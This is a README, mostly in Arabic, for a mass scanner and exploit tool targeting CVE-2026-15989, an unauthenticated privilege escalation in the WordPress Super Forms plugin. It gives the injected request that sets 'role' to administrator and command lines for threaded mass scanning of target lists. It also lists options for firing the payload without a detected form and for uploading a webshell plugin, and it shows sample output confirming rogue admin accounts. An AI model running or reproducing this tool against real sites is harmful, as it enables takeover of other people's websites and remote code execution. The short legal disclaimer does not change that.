fl0ydsec/cve-2026-15989ماسح ضخم واستغلال لـ CVE-2026-15989، تصعيد الصلاحيات غير المصادق عليه في Super Forms <= 6.3.316 الذي ينشئ حسابات مسؤول عبر معامل role.
Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — تصعيد صلاحيات
دون مصادقة عبر معامل role في إضافة Register & Login المميزة.
| Attribute | Details |
|---|---|
| CVE ID | CVE-2026-15989 |
| Chain | registration form → 'role' in $other_userdata → wp_insert_user(role=administrator) → ADMIN |
| Severity | 🔴 CRITICAL (CVSS 9.8) |
| Target | Super Forms – Drag & Drop Form Builder + premium Register & Login add-on |
| Affected | ≤ 6.3.316 (core) — vulnerable add-on builds (v1.x) |
| Fixed | 6.3.317 |
| Authentication Required | None |
تقوم الإضافة بتعيين دور المستخدم الجديد من إعدادات النموذج
($userdata['role'] = $settings['register_user_role'])، ثم تمر عبر
$other_userdata — الذي يحتوي على 'role' — وتستبدل أي مفتاح بالقيمة
المُرسلة من العميل ($data['role']['value']) قبل استدعاء wp_insert_user().
POST /wp-admin/admin-ajax.php (unauthenticated)
│
▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
│
▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
│
▼
wp_insert_user() ─► administrator account created
│
▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session
الإصلاح (6.3.317): إزالة 'role' من القائمة البيضاء + get_safe_public_registration_role() (fail-closed).
بحث أصلي — بروتوكول الإرسال المزدوج: غيّر النواة البروتوكولات في الإصدار v5.0.0.
| Core | Action | Data format | Nonce |
|---|---|---|---|
| 4.x | super_send_email | nested fields (data[role][value]=...) | none (checks commented out) |
| 5.x/6.x | super_submit_form | JSON string | sf_nonce via super_create_nonce |
تختار الأداة البروتوكول تلقائيًا بناءً على الإصدار المكتشف.
# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup
# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure
# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure
| Option | Description |
|---|---|
--list FILE | One target per line; URL|form_id or URL|form_id=ID,email=X per line |
-u/--target, --port | Single target |
--threads, --timeout, --no-dedup | Mass mode tuning |
--force | Fire the payload even without a detected registration form |
--only-hits / --quiet | Trees only for confirmed hits / minimal output |
--reset | verify-mode completion via lost-password (operator pastes the reset link) |
--only-login | Skip registration; log in and check the role via users/me |
--login / --rce | Real-target post-exploitation: login proof / webshell plugin upload |
-k/--insecure | Ignore TLS |
│ ├─ plugin : 6.3.316 — VULNERABLE <= 6.3.316
│ ├─ addon : v1.8.7
│ ├─ form : 4169 (/register/)
│ ├─ proto : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│ ├─ payload : HTTP 200 ✓ processed
│ └─ session : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED
hits.txt — الأهداف المؤكدة فقط (ts|url|status|detail، مع اسم المستخدم/كلمة المرور)readme.txt Stable tag + common.js?ver=؛ فحص الإضافة + إصدارها الخاص/wp-json/wp/v2/users/me?context=edit (بديل: users.php / dashboard)├── CVE-2026-15989.py # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
wp-admin/ بحثًا عن حسابات مسؤول غير متوقعةfl0ydsec (Floydroot)
Security Research
